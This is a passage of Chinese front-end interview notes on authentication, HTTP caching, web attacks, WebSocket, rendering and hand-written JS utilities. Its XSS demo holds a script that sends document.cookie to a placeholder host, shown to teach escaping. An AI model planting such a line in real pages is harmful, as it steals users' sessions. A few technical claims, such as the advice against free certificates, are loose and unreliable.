    • 用户信息存储在服务端,可以快速封禁某个用户(将用户的信息在Session中删除)
  • Session的缺点:
    • 占用服务端内存,硬件成本高
    • 多进程,多服务器时,不好同步。需要使用第三方缓存,例如:redis
    • 默认有跨域限制
  • JWT的优点:
    • 不占用服务端内存
    • 多进程,多服务器不受影响
  • JWT的缺点:
    • 用户信息存储在客户端,无法快速封禁某用户(可以建一个黑名单列表,下次带token进来时进行校验)
    • 万一服务端秘钥泄露,用户信息全部丢失
    • token体积一般大于cookie,会增加请求的数据量
  • 总结:
    • 如果有严格管理用户信息的需求(保密、快速封禁)推荐使用Session
    • 如果没有特殊要求,则使用JWT(例如创业初期的网站)

连环问:如何实现SSO单点登录

  • SSO单点登录:在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。例如:公司内部的多个管理系统(财务、考勤等等),我只要在其中一个系统里面登录,后面再访问别的系统时就不需要再登录了
  • 如果主域名相同,可以通过共享cookie来实现
    • 主域名相同,例如:www.baidu.com image.baidu.com
    • 设置cookie domain为主域名,即可共享cookie
  • 如果主域名不同,则需要SSO
  • 扩展:接入第三方登录方式(例如微信扫码登录),使用OAuth2.0

HTTP协议和UDP协议有什么区别

  • HTTP是应用层,UDP是传输层
  • TCP有连接,有断开,稳定传输
  • UDP无连接,无断开,不稳定传输但是效率高,一般的使用场景是:视频会议和语音通话

连环问:HTTP协议1.0 1.1 2.0有什么区别

  • HTTP 1.0
    • 最基本的HTTP协议
    • 强缓存标识:Expires 协商缓存标识:Last-Modified
    • 支持基本的GET POST方法
  • HTTP 1.1
    • 新增强缓存标识:Cache-Control 新增协商缓存标识:ETag
    • 支持长连接Connection:keep-alive,一次TCP连接多次请求
    • 断点续传,状态码206(大文件分片上传)
    • 支持新的方法PUT DELETE等,可用于Restful API
  • HTTP 2.0
    • 支持压缩header,减少体积
    • 多路复用,一次TCP连接可以多个HTTP并发请求(这个能力可以让以前的多个请求合并成一个减少请求次数的优化手段没用了)
    • 服务端推送(但是目前流行的是使用WebSocket)

连环问:描述下HTTP缓存

HTTP缓存分为强制缓存和协商缓存

  • 强制缓存:客户端第一次请求服务端资源时,响应头会携带资源的过期时间的资源标识,后面再请求相同的资源时,浏览器会先看资源是否过期,没有就直接取内存中的资源,返回200状态码,不再向服务器发送请求,否则向服务器发送请求,服务器返回资源和过期时间的资源标识
    • Cache-Control HTTP1.1新增的
      • no-cache:缓存,但是浏览器使用缓存前,都会请求服务器判断缓存资源是否是最新
      • no-store:所有内容都不缓存
      • max-age:单位秒,请求资源后的xx秒内不再发起请求。属于HTTP1.1属性,与Expires类似,但优先级要比Expires高
      • public:客户端和代理服务器(CDN)都可缓存
      • private:只有客户端可以缓存
      • s-maxage:单位秒,代理服务器请求源站资源后的xx秒内不再发起请求,只对CDN有效must-revalidate:每次访问需要缓存校验
    • Expires HTTP1.0的
    • Pragma HTTP1.0的
  • 协商缓存:当浏览器第一次向服务器发送请求时,会在响应头返回协商缓存的头属性:ETag和Last-Modified,其中ETag返回的是一个hash值,Last-Modified返回的是GMT格式的时间,标识该资源的最新修改时间;然后浏览器发送第二次请求的时候,会在请求头中带上与ETag对应的If-None-Match,与Last-Modified对应的If-Modified-Since;服务器在接收到这两个参数后会做比较,会优先验证ETag,一致的情况下,才会继续比对Last-Modified;如果返回的是304状态码,则说明请求的资源没有修改,浏览器可以直接在缓存中读取数据,否则,服务器直接返回数据和资源标识

什么是HTTPS中间人攻击,如何预防

  • HTTPS加解密的过程

image.png

  • 中间人攻击:不法分子伪造证书,在客户端和服务端中间拦截了

image.png

  • 预防:使用正规厂商的证书,慎用免费的

script标签的defer和async有什么区别

  • 没有属性:遇到script标签时,HTML暂停解析,下载JS,执行JS,执行完后再继续解析HTML
  • defer:遇到script标签时,HTML继续解析,并行下载JS,HTML解析完后再执行JS(以前多使用把script标签放到body的最后,现在有了defer这个属性,更推荐使用这种方式,比如script标签放在head里面时)
  • async:遇到script标签时,HTML继续解析,并行下载JS,执行JS,执行完JS再继续解析HTML

连环问:prefetch和dns-prefetch有什么区别

  • 答案:
    • prefetch是资源预获取(和preload相关)
    • dns-prefetch是DNS预查询(和preconnect相关)
  • preload:资源在当前页面使用,会优先加载
  • prefetch:资源在未来页面会使用,空闲时加载
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <!-- 优先加载 -->
    <link rel="preload" href="style.css" as="style">
    <link rel="preload" href="main.js" as="script">

    <!-- 空闲加载 -->
    <link rel="prefetch" href="other.js" as="script">
</head>
<body>
    
</body>
</html>
  • dns-prefetch:DNS预查询(空闲时去解析域名对应的IP地址)
  • preconnect:DNS预连接(空闲时去进行TCP连接)

常见的前端攻击,怎么预防

  • XSS:跨站脚本攻击 Cross Site Script
    • 手段:不法分子将JS代码插入到网页内容中,渲染时执行JS代码(例如:博客网站,在评论的时候给你插入JS代码)
    • 预防:特殊字符替换
    • 代码演示:
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <body>
        <div id="container">
            <p>test</p>
            <script>
                // 使用image标签可以规避跨域
                let img = document.createElement("image")
                img.src = `https://xxx.com/api/xxx?cookie=${document.cookie}`
            </script>
        </div>
        <script>
            const contentFromServer = `
                <p>test</p>
                <script>
                    // 使用img标签可以规避跨域
                    let img = document.createElement("img")
                    img.src = "https://xxx.com/api/xxx?cookie=" + document.cookie
                </script>
            `
            const content = contentFromServer.replaceAll("<", "&lt;").replaceAll(">", "&gt;") 
        </script>
    </body>
    </html>
    
    • Vue和React默认屏蔽了XSS攻击,但是如果你在Vue中使用v-html和在React使用dangerouslySetInnerHTML会发生XSS攻击
  • CSRF:跨站请求伪造 Cross Site Request Forgery
    • 手段:黑客诱导用户去访问另一个网站的接口,伪造请求
      • 用户登录了A网站,有了cookie
      • 不法分子诱导用户到B网站
      • 当用户打开B网站时,B网站就会向A网站发起请求
      • A网站的API发现请求携带了cookie,认为是用户自己操作的
    • 预防:严格的跨域限制 + 验证码机制
      • 严格的跨域请求限制,例如服务端接收到请求时判断referrer(请求来源)
      • 为cookie设置SameSite,禁止跨域传递cookie
      • 关键接口使用短信验证码等手段二次确认
  • 点击劫持:Click Jacking
    • 手段:钓鱼网站在诱导页面上蒙一层透明的iframe,诱导用户去点击
    • 预防:让iframe不能跨域加载
      • 在我们的网页的Response headers里设置X-Frame-Options为sameorigin,意思是该页面只允许同域名的网页使用iframe加载,不允许第三方网站iframe加载
  • DDoS:分布式拒绝服务攻击 Distribute denial-of-server
    • 手段:分布式、大规模的流量访问,使服务器瘫痪
    • 预防:软件层不好预防,需要硬件预防(例如购买各大服务器厂商的应用防火墙)
  • SQL注入
    • 手段:不法分子提交内容时写入SQL语句,破坏数据库
    • 预防:处理输入的内容,替换特殊字符

WebSocket和HTTP有什么区别

  • WebSocket协议名是ws://双端发起请求
  • WebSocket没有跨域限制
  • WebSocket通过send和onmessage通讯(HTTP通过req和res)
  • WebSocket的场景:消息通知,直播间讨论区,聊天室,协同编辑
  • WebSocket连接过程:
    • 先发起一个HTTP请求
    • 成功之后再升级到WebSocket协议,再通讯
  • 代码演示
// client.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>web socket</title>
</head>
<body>
    <button id="btn">click me</button>

    <script>
        const ws = new WebSocket("ws://localhost:3000")
        ws.onopen = () => {
            console.info("opened")
            ws.send("client opened")
        }
        ws.onmessage = event => {
            console.info("收到了信息", event.data)
        }
        const btn = document.getElementById("btn")
        btn.addEventListener("click", () => {
            ws.send("click btn")
        })
    </script>
</body>
</html>
// server.js
const {WebSocketServer} = require("ws")

const wsServer = new WebSocketServer({port: 3000})

wsServer.on("connection", ws => {
    console.info("connected");

    ws.on("message", msg => {
        console.info("收到client的信息", msg.toString())

        setTimeout(() => {
            ws.send("server已收到信息" + msg.toString())
        }, 2000)
    })
})
  • ws可升级为wss(像https,加密通讯)
  • 扩展:实际项目中推荐使用socket.io 因为API更简洁

连环问:WebSocket和HTTP长轮询的区别

  • HTTP长轮询:客户端发起请求,服务端阻塞,不会立即返回
  • WebSocket:客户端可以发起请求,服务端也可以发起请求
  • 注意:HTTP长轮询需要处理timeout的情况,timeout之后要重新发起一个请求

描述从输入URL到页面展示的完整过程

  • 网络请求
    1. DNS解析(得到IP),建立TCP连接(三次握手)
    2. 浏览器发起HTTP请求
    3. 收到请求响应,得到HTML源代码(字符串)
    4. 继续请求静态资源
      • 解析HTML过程中,遇到静态资源还会继续发起网络请求
      • JS CSS 图片 音视频等
      • 注意:静态资源可能有强缓存,此时不用发起网络请求
  • 解析:字符串 -> 结构化数据
    • HTML构建DOM树
    • CSS构建CSSOM树(style tree)
    • 两者结合,形成render tree
    • 扩展:优化解析
      • CSS放在<head>中,不要异步记载CSS

      • JS放在<body>最下面(或者合理使用defer或async)

      • <img>提前定义width height(防止浏览器的重排重绘)

image.png

  • 渲染:Render Tree绘制到页面
    • 计算各个DOM的尺寸、定位,最后绘制到页面
    • 遇到JS可能会执行(参考defer async)
    • 异步CSS、图片加载,可能会触发重新渲染

连环问:重绘repaint 重排reflow 有什么区别

  • 动态网页,随时都会重绘、重排
    • 网页动画
    • Modal Dialog 弹窗
    • 增加/删除一个元素,显示/隐藏一个元素
  • 重绘
    • 元素外观变化,例如:颜色、背景色
    • 但是元素的尺寸、定位不变,不影响其他元素的位置
  • 重排
    • 重新计算尺寸和布局,可能会影响其他元素的位置
    • 如高度增加,可能会使相邻元素位置下移
  • 区别:
    • 重排比重绘的影响更大,消耗更大
    • 所以应该尽量避免无意义的重排
  • 减少重排的方案
    • 集中修改样式,或直接切换css class
    • 修改之前先设置display:none,脱离文档流
    • 使用BFC特性,不影响其他元素位置
    • 频繁触发(resize scroll)使用节流和防抖
    • 使用createDocumentFragment批量操作DOM
    • 优化动画,使用CSS3和requestAnimationFrame
  • 扩展:BFC
    • Block Format Context 块级格式化上下文
    • 内部元素无论如何改动,都不会影响其他元素的位置
    • 触发条件:
      • 根节点<html>
      • float:left/right;
      • overflow:auto/scroll/hidden;
      • diaplay:inline-block/table/table-row/table-cell;
      • diaplay:flex/grid;的直接子元素
      • position:absolute/fixed;

如何实现网页多标签通讯

答案:WebSocket需要服务端支持,成本较高;localStorage简单易用;SharedWorker调试不方便,存在兼容性问题。跨域的话只能使用WebSocket,同域推荐使用localstorage

  • 使用WebSocket
    • 无跨域限制
    • 需要服务端支持,成本高
  • 使用localStorage
    • 同域的多个页面(A页面设置localStorage,B页面就可以监听到localStorage值的变化)
    • localstorage和cookie一样也是跨域不共享的
    btn.addEventListener("click", () => {
        const newInfo = {
            id: 100,
            name: `标题${Date.now()}`
        }
        localStorage.setItem("changeInfo", JSON.stringify(newInfo))
    })
    
    window.addEventListener("storage", (e) => {
        console.info("key", e.key)
        console.info("value", e.newValue)
    })
    
  • 通过SharedWorker通讯
    • SharedWorker是WebWorker的一种
    • WebWorker可以开启子进程执行JS,但不能操作DOM
    • SharedWorker可以单独开启一个进程,用于同域页面通讯
    const set = new Set()
    
    onconnect = event => {
        const port = event.ports[0]
        set.add(port)
    
        port.onmessage = e => {
            // 广播消息
            set.forEach(p => {
                p.postMessage(e.data)
            })
        }
        // 发送信息
        port.postMessage("worker.js done")
    }
    
    const worker = new SharedWorker("./worker.js")
    btn.addEventListener("click", () => {
        worker.port.postMessage("detail go")
    })
    
    const worker = new SharedWorker("./worker.js")
    worker.port.onmessage = e => console.info("list", e.data)
    

连环问:网页和iframe如何通讯

  • 使用postMessage通讯
  • 注意跨域的限制和判断
// parent
const b = document.getElementById("btn")
b.addEventListener("click", () => {
    window.iframe1.contentWindow.postMessage("hello", "*")
})

window.addEventListener("message", e => {
    console.info("origin", e.origin) // 来源域名
    console.info("parent received", e.data)
})
const b = document.getElementById("btn")
b.addEventListener("click", () => {
    window.parent.postMessage("world", "*")
})
window.addEventListener("message", e => {
    console.info("origin", e.origin)
    console.info("child received", e.data)
})

Koa2的洋葱圈模型

  • Koa2是一个简约、流行的nodejs框架;通过中间件组织代码;多个中间件以“洋葱圈模型”执行
  • Koa2中间件是基于async/await(JS的异步编程)实现的,其执行过程是通过next来驱动的,于是,Koa2就有了一个特殊的执行顺序,我们为这种执行顺序设定了一个模型叫--洋葱模型
const Koa = require('koa');
const app = new Koa();

// logger

app.use(async (ctx, next) => {
  await next();
  const rt = ctx.response.get('X-Response-Time');
  console.log(`${ctx.method} ${ctx.url} - ${rt}`);
});

// x-response-time

app.use(async (ctx, next) => {
  const start = Date.now();
  await next();
  const ms = Date.now() - start;
  ctx.set('X-Response-Time', `${ms}ms`);
});

// response

app.use(async ctx => {
  ctx.body = 'Hello World';
});

app.listen(3000);

H5页面怎么做“首屏优化”

  • 路由懒加载
    • 适用于SPA(不适用MPA)
    • 路由拆分,优先保证首页加载
  • 服务端渲染SSR
    • 传统的前后端分离(SPA)渲染页面的过程比较复杂
    • SSR渲染页面过程简单,所以性能好
    • 如果是纯H5页面,SSR是性能优化的终极方案
    • 为了支持Vue/React等框架推出了Nuxt.js(Vue)和Next.js(React),但是只支持node
  • App预取
    • 如果H5在App WebView中展示,可以使用App预取
    • 用户访问列表时,App预加载文章首屏内容
    • 用户进入H5页,直接从App中获取内容(JSBridge),瞬间展示首屏
  • 分页
    • 针对列表页
    • 默认只展示第一页内容
    • 上滑加载更多
  • 图片懒加载lazyload
    • 针对详情页
    • 默认只展示文本内容,然后触发图片懒加载
    • 注意:应该提前设置图片尺寸,尽量只重绘不重排
  • Hybrid
    • 提前将HTML CSS JS下载到App内部
    • 在App Webview中使用file://协议加载页面文件
    • 再用Ajax获取内容并展示(也可以结合App预取)

前端常用的设计模式,使用场景有哪些

  • 工厂模式
    • 使用一个工厂函数,来创建实例,隐藏new
    • 使用场景:
      • jQuery的$函数
      • React createElement函数
  • 单例模式
    • 全局唯一的实例(无法生产第二个)
    • 使用场景
      • Vuex Redux的store
      • 全局dialog modal、toast
  • 代理模式
    • 使用者不能直接访问对象,而是访问一个代理层
    • 在代理层可以监听get set做很多事
    • 使用场景:
      • ES6 Proxy实现Vue3响应式
  • 观察者模式
  • 发布订阅模式
  • 装饰器模式
    • 原功能不变,增加一些新功能(AOP面向切面编程)
    • 使用场景:
      • nest.js
      • ES和TS的装饰器

连环问:观察者模式和发布订阅模式的区别

  • 观察者模式:Subject和Observer直接绑定,没有中间媒介,例如addEventListener绑定事件
  • 发布订阅模式:Publisher和Observer互不相识,需要中间媒介Event channel,例如EventBus自定义事件

在实际工作中,做过哪些Vue优化

  • 如果需要频繁切换元素的显示隐藏,使用v-show;否则使用v-if
  • v-for使用key,并且key不使用index
  • 使用computed缓存
  • keep-alive缓存组件
    • 需要频繁切换的组件使用keep-alive包裹,例如:tabs
    • 不能滥用,缓存太多会占用内存,不好debug
  • 异步组件
    • 针对体积较大的组件
    • 进行拆包,需要是异步加载,不需要时不加载
    • 减少主包体积,首屏加载会更快
  • 路由懒加载
    • 项目比较大时,拆分路由,保证首页先加载
  • SSR

连环问:使用Vue时遇到过什么坑

  • Vue2响应式的缺陷(Vue3没有)
    • data新增属性要用Vue.set
    • data删除属性要用Vue.delete
    • 无法通过下标值直接修改数组的数据
  • 路由切换时,scroll到页面顶部
    • SPA的通病,不只是Vue
    • 现象:列表页滚动到第二屏,点击跳转到详情页,再返回到列表页就会scroll到顶部
    • 解决方案:当发生路由跳转时,记录scrollTop的值,当再次返回到列表页时,使用scrollTo到原先的位置
  • 安卓键盘遮挡问题和输入框不失焦
  • ios滑动时,webview被拖动导致页面假死现象

在实际工作中,做过哪些React优化

  • 使用css模拟v-show
<MyComponent style={{display: flag ? "block" : "none"}} />
  • 循环时使用key,并且key不使用index
  • 使用Fragment减少层级
function MyComponent() {
    return <>
        <p>test</p>
    </>
}
  • JSX中不要定义函数
  • 使用shouldComponentUpdate
    • 使用shouldComponentUpdate判断组件是否更新
    • 使用React.PureCompponent(类组件)
    • 函数组件使用React.memo
  • 使用Hooks缓存数据和函数
    • 缓存数据用useMemo
    • 缓存函数用useCallback
  • 其他的优化手段和Vue相同
    • 异步组件
    • 路由懒加载
    • SSR

连环问:使用React时遇到什么坑

  • 自定义组件的名称首字母要大写
  • JS关键字冲突
{/* for和class在js中是关键字,所以在这里要改成htmlFor和className */}
<label htmlFor="input" className="test">
    输入框 <input type="text" id="input" />
</label>
  • JSX的数据类型
<Counter defaultValue={1} />
<Counter defaultValue="1" />
  • setState是异步更新的

如何统一监听Vue组件的报错

  • window.onerror
    • 全局监听所有JS的错误
    • 但他是JS级别的,无法识别Vue组件的信息
    • 虽然可以捕获Vue错误(最终Vue也是编译成JS),但是Vue的错误推荐使用Vue提供的方法来监听
    • try...catch捕获的错误,无法捕获
  • errorCaptured生命周期
    • 监听所有下级组件的错误
    • 返回false会阻止向上传播
  • errorHandler配置
    • Vue全局错误监听,所有组件错误都会汇总到这里
    • 但是如果组件errorCaptured生命周期返回false,则无法捕获这个组件的错误
    • 与window.onerror互斥,防止重复捕获
  • 异步错误
    • 异步回调里的错误,errorHandler监听不到
    • 需要使用window.onerror
  • 扩展:Promise未处理的ctach需要onunhandledrejection

如何统一监听React组件的报错

  • ErrorBoundary组件
    • 监听所有下级组件报错,可以降级展示UI
    • 只监听组件渲染报错,不监听DOM事件和异步报错
    • production环境下生效降级展示UI,dev环境下会直接抛出错误
    • 事件报错使用try...catch 或 window.onerror
    • 异步报错使用window.onerror

如果一个H5很慢,如何排查性能问题

答案:

  • 使用performance和network或者第三方工具lighthouse分析性能指标,找到慢的原因,是加载慢还是渲染慢
    • 如果是网页加载慢
      • 优化服务端硬件配置,使用CDN
      • 路由懒加载,大组件异步加载,减小主包的体积
      • 优化HTTP缓存策略
    • 如果是网页渲染慢
      • 优化服务端接口(页面的渲染数据来自接口返回的话)
      • 继续分析,优化前端组件内部的逻辑(参考上面的Vue React优化)
      • 服务端渲染SSR
  • 对症下药,解决问题
  • 持续跟进,持续优化

连环问:性能指标

  • 白屏时间 First Paint(FP):第一次渲染,渲染出第一个像素点
  • 首屏时间 First Contentful Paint(FCP):第一次内容渲染,渲染出第一个内容,这内容可以是文字、图片、canvas等
  • First Meaningful Paint(FMP):第一次有意义的渲染,已经弃用,因为有意义的渲染没有统一的标准,但是在公司内部可以自己确定何为有意义的渲染,例如:规定某一个节点渲染出来就是有意义的
  • DomContentLoaded(DCL):当 HTML 文档解析完成就会触发 DOMContentLoaded,
  • Largest Contentful Paint(LCP):最大内容渲染时间,用于代替FMP
  • Load(L):所有资源加载完成之后,load 事件才会被触发

连环问:DomContentLoaded和Load有什么区别

两者的触发时间不同,DomContentLoaded 在 HTML 文档本解析之后触发,而 Load 是在 HTML 所有相关资源(图片、css、js、音视频等)被加载完成后触发。

performance和network

Lighthouse

  • 非常流行的第三方性能评测工具
  • 支持移动端和PC
  • chrome浏览器内置了LightHouse
  • 也可以使用npm全局安装,进行页面的评分
npm install lighthouse -g

lighthouse https://xxx.com

在工作中遇到过什么项目难点,如何解决

答案模板:

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

手写 flat 函数,实现数组扁平化

多层嵌套数组,只展开一层

/**
 * 单层扁平化,使用push
 * @param arr
 * @returns
 */
export function flat1(arr: any[]): any[] {
    const res: any[] = [];

    arr.forEach((item) => {
        if (Array.isArray(item)) {
            item.forEach((n) => res.push(n));
        } else {
            res.push(item);
        }
    });

    return res;
}

/**
 * 单层扁平化,使用concat
 * @param arr
 * @returns
 */
export function flat2(arr: any[]): any[] {
    let res: any[] = [];
    arr.forEach((item) => {
        res = res.concat(item);
    });
    return res;
}

连环问:手写 flat 函数,实现数组深度扁平化

多层嵌套数组,全部展开(彻底拍平)

/**
 * 深度扁平化,使用push
 * @param arr
 * @returns
 */
export function flat1(arr: any[]): any[] {
    const res: any[] = [];
    arr.forEach((item) => {
        if (Array.isArray(item)) {
            flat1(item).forEach((n) => res.push(n));
        } else {
            res.push(item);
        }
    });
    return res;
}

/**
 * 深度扁平化,使用concat
 * @param arr
 * @returns
 */
export function flat2(arr: any[]): any[] {
    let res: any[] = [];
    arr.forEach((item) => {
        if (Array.isArray(item)) {
            res = res.concat(flat2(item));
        } else {
            res = res.concat(item);
        }
    });
    return res;
}

如果数组里面的元素都是基本数据类型,可以使用toString的方法

const nums = [1, 2, [3, [4, [5], 5], 7], 8, 9];
console.info(nums.toString().split(","));

手写getType函数,准确获取传入值的类型

export function getType(x: any): string {
    // x=100  originType  [object Number]
    // x=null  originType  [object Null]
    // x="sss"  originType  [object String]
    const originType = Object.prototype.toString.call(x);
    const spaceIndex = originType.indexOf(" ");
    const type = originType.slice(spaceIndex + 1, -1);
    return type.toLowerCase();
}

遍历DOM树

  • 深度优先,使用递归、贪心
/**
 * 访问节点
 * @param n
 */
function visitNode(n: Node) {
    if (n instanceof Comment) {
        // 这是注释
        console.info("Comment node ---", n.textContent);
    }
    if (n instanceof Text) {
        // 这是文本节点
        const t = n.textContent?.trim();
        if (t) console.info("Text node ---", t);
    }
    if (n instanceof HTMLElement) {
        // 这是Element
        console.info("Element node ---", `<${n.tagName.toLowerCase()}>`);
    }
}

/**
 * 深度优先遍历
 * @param root
 */
function depthFirstTraverse(root: Node) {
    visitNode(root);

    const childNodes = root.childNodes;
    if (childNodes.length) {
        childNodes.forEach((child) => {
            depthFirstTraverse(child);
        });
    }
}
  • 广度优先,使用队列
function breadthFirstTraverse(root: Node) {
    const queue: Node[] = [];

    // 根节点入队列
    queue.unshift(root);

    while (queue.length) {
        const curNode = queue.pop();
        if (curNode === undefined) break;
        visitNode(curNode);

        //子节点入队
        const childNodes = curNode.childNodes;
        if (childNodes.length) {
            childNodes.forEach((child) => queue.unshift(child));
        }
    }
}

连环问:深度优先可以不使用递归实现吗

  • 可以不用递归的方式,使用栈
  • 递归的本质就是栈
function depthFirstTraverse(root: Node) {
    const stack: Node[] = [];

    // 根节点压栈
    stack.push(root);

    while (stack.length) {
        const curNode = stack.pop();
        if (curNode === undefined) break;
        visitNode(curNode);

        // 子节点压栈,反顺序
        const childNodes = curNode.childNodes;
        if (childNodes.length) {
            for (let i = childNodes.length - 1; i >= 0; i--) {
                stack.push(childNodes[i]);
            }
        }
    }
}

手写LazyMan

class LazyMan {
    private name: string;
    private tasks: Function[] = []; // 任务列表
    constructor(name: string) {
        this.name = name;
        setTimeout(() => {
            this.next();
        });
    }
    private next() {
        const task = this.tasks.shift(); // 取出当前第一项任务
        if (task) task();
    }
    eat(food: string) {
        const task = () => {
            console.info(`${this.name} eat ${food}`);
            // 执行下一个
            this.next(); // 立即执行下一个任务
        };
        this.tasks.push(task);
        return this; // 链式调用
    }
    sleep(seconds: number) {
        const task = () => {
            console.info(`${this.name} 开始休眠`);
            setTimeout(() => {
                console.info(`${this.name} 已经休眠 ${seconds}s,休眠结束`);
                this.next();
            }, seconds * 1000);
        };
        this.tasks.push(task);
        return this; // 链式调用
    }
}

手写一个curry函数,把其他函数柯里化

function curry(fn: Function) {
    const fnArgsLength = fn.length;
    let args: any[] = [];

    function calc(...newArgs: any[]) {
        // 积累参数
        args = [...args, ...newArgs];
        if (args.length < fnArgsLength) {
            // 参数不够。返回一个函数
            return calc;
        } else {
            // 参数足够了,返回执行结果
            return fn(...args.slice(0, fnArgsLength));
        }
    }
    return calc;
}

function add(a: number, b: number, c: number) {
    return a + b + c;
}

const curryAdd = curry(add);
const res = curryAdd(10)(20)(30);
console.log(res); // 60

instanceof的原理是什么,请用代码表示

利用JS的原型和原型链,通过while循环向上查找原型链

function myInstanceof(instance: any, origin: any): boolean {
    if (instance == null) return false;
    const type = typeof instance;
    if (type !== "object" && type !== "function") {
        // 值类型
        return false;
    }

    let tempInstance = instance;

    while (tempInstance) {
        if (tempInstance.__proto__ === origin.prototype) {
            return true; // 匹配上了
        }
        // 未匹配
        tempInstance = tempInstance.__proto__; // 顺着原型链向上找
    }
    return false;
}

手写函数bind

  • bind返回一个新函数,但是不执行
  • 绑定this和部分参数
  • 如果是箭头函数,无法修改this,只能改变参数
// @ts-ignore
Function.prototype.customBind = function (context: any, ...bindArgs: any[]) {
    const self = this; // 当前函数本身

    return function (...args: any[]) {
        // 拼接参数
        const newArgs = bindArgs.concat(args);

        return self.apply(context, newArgs);
    };
};

连环问:手写函数call和apply

  • bind返回一个新函数(不立即执行),call和apply会立即执行函数
  • 绑定this
  • 传入执行参数
// @ts-ignore
Function.prototype.customCall = function (context: any, ...args: any[]) {
    if (context == null) context = globalThis;
    if (typeof context !== "object") context = new Object(context); // 值类型转换成Object

    const fnKey = Symbol(); // 防止属性名的覆盖
    context[fnKey] = this;

    const res = context[fnKey](...args);
    delete context[fnKey]; // 防止属性名的污染

    return res;
};
// @ts-ignore
Function.prototype.customApply = function (context: any, args: any[] = []) {
    if (context == null) context = globalThis;
    if (typeof context !== "object") context = new Object(context); // 值类型转换成Object

    const fnKey = Symbol(); // 防止属性名的覆盖
    context[fnKey] = this;

    const res = context[fnKey](...args);
    delete context[fnKey]; // 防止属性名的污染

    return res;
};

手写EventBus自定义事件

  • 使用一个字段来区分on和once事件
class EventBus {
    private events: {
        [key: string]: Array<{ fn: Function; isOnce: boolean }>;
    };

    constructor() {
        this.events = {};
    }

    on(type: string, fn: Function, isOnce: boolean = false) {
        const events = this.events;
        if (events[type] == null) {
            events[type] = []; // 初始化
        }
        events[type].push({ fn, isOnce });
    }

    once(type: string, fn: Function) {
        this.on(type, fn, true);
    }

    off(type: string, fn?: Function) {
        if (!fn) {
            // 解绑所有type的函数
            this.events[type] = [];
        } else {
            // 解绑单个fn
            const fnList = this.events[type];
            if (fnList) {
                this.events[type] = fnList.filter((item) => item.fn !== fn);
            }
        }
    }
    emit(type: string, ...args: any[]) {
        const fnList = this.events[type];
        if (fnList == null) return;
        this.events[type] = fnList.filter((item) => {
            const { fn, isOnce } = item;
            fn(...args);

            // once执行一次后过滤掉,以后不再执行
            if (!isOnce) return true;
            return false;
        });
    }
}
  • on事件和once事件单独存储
class EventBus {
    private events: { [key: string]: Function[] };
    private onceEvents: { [key: string]: Function[] };

    constructor() {
        this.events = {};
        this.onceEvents = {};
    }

    on(type: string, fn: Function) {
        const events = this.events;
        if (events[type] == null) {
            events[type] = [];
        }
        events[type].push(fn);
    }

    once(type: string, fn: Function) {
        const onceEvents = this.onceEvents;
        if (onceEvents[type] == null) {
            onceEvents[type] = [];
        }
        onceEvents[type].push(fn);
    }

    off(type: string, fn?: Function) {
        if (fn == null) {
            this.events[type] = [];
            this.onceEvents[type] = [];
        } else {
            const fnList = this.events[type];
            if (fnList) {
                this.events[type] = fnList.filter((item) => item !== fn);
            }
            const onceFnList = this.onceEvents[type];
            if (onceFnList) {
                this.onceEvents[type] = onceFnList.filter(
                    (item) => item !== fn
                );
            }
        }
    }

    emit(type: string, ...args: any[]) {
        const fnList = this.events[type];
        const onceFnList = this.onceEvents[type];
        if (fnList) {
            fnList.forEach((f) => f(...args));
        }
        if (onceFnList) {
            onceFnList.forEach((f) => f(...args));
            this.onceEvents[type] = [];
        }
    }
}

实现一个LRU缓存

  • LRU:Least Recently Used 最近最少使用
  • 如果内存有限,只缓存最近使用的,删除“沉水”数据
  • 核心API:get set
class LRUCache {
    private length: number;
    private data: Map<any, any> = new Map();

    constructor(length: number) {
        if (length < 1) throw new Error("invalid length");
        this.length = length;
    }

    set(key: any, value: any) {
        const data = this.data;
        if (data.has(key)) {
            data.delete(key);
        }
        data.set(key, value);

        if (data.size > this.length) {
            // 超出容量
            const delKey = data.keys().next().value;
            data.delete(delKey);
        }
    }

    get(key: any): any {
        const data = this.data;
        if (!data.has(key)) return null;
        const value = data.get(key);
        data.delete(key);
        data.set(key, value);
        return value;
    }
}

连环问:不使用Map怎么实现LRU缓存

使用 双向链表 + Object 模拟哈希表来实现

interface IListNode {
    value: any;
    key: string;
    prev?: IListNode;
    next?: IListNode;
}

class LRUCache {
    private length: number;
    private data: { [key: string]: IListNode } = {};
    private dataLength: number = 0;
    private head: IListNode | null = null;
    private tail: IListNode | null = null;

    constructor(length: number) {
        if (length < 1) throw new Error("invalid length");
        this.length = length;
    }

    private moveToTail(curNode: IListNode) {
        const tail = this.tail;
        // 已经在最新位置
        if (tail === curNode) return;

        const prevNode = curNode.prev;
        const nextNode = curNode.next;
        if (prevNode) {
            if (nextNode) {
                prevNode.next = nextNode;
            } else {
                delete prevNode.next;
            }
        }
        if (nextNode) {
            if (prevNode) {
                nextNode.prev = prevNode;
            } else {
                delete nextNode.prev;
            }

            if (this.head === curNode) this.head = nextNode;
        }

        delete curNode.next;
        delete curNode.prev;

        if (tail) {
            tail.next = curNode;
            curNode.prev = tail;
        }
        this.tail = curNode;
    }
    private tryClean() {
        while (this.dataLength > this.length) {
            const head = this.head;
            if (head == null) throw new Error("head is null");
            const headNext = head.next;
            if (headNext == null) throw new Error("headNext is null");
            delete headNext.prev;
            delete head.next;

            this.head = headNext;

            delete this.data[head.key];

            this.dataLength--;
        }
    }
    get(key: string): any {
        const data = this.data;
        const curNode = data[key];
        if (curNode == null) return null;
        if (this.tail === curNode) {
            // 在最新的位置,无需再做处理
            return curNode.value;
        }
        // curNode 移动到末尾
        this.moveToTail(curNode);
        return curNode.value;
    }

    set(key: string, value: any) {
        const data = this.data;
        const curNode = data[key];

        if (curNode == null) {
            // 新增数据
            const newNode: IListNode = { key, value };
            // 移动到最新的位置
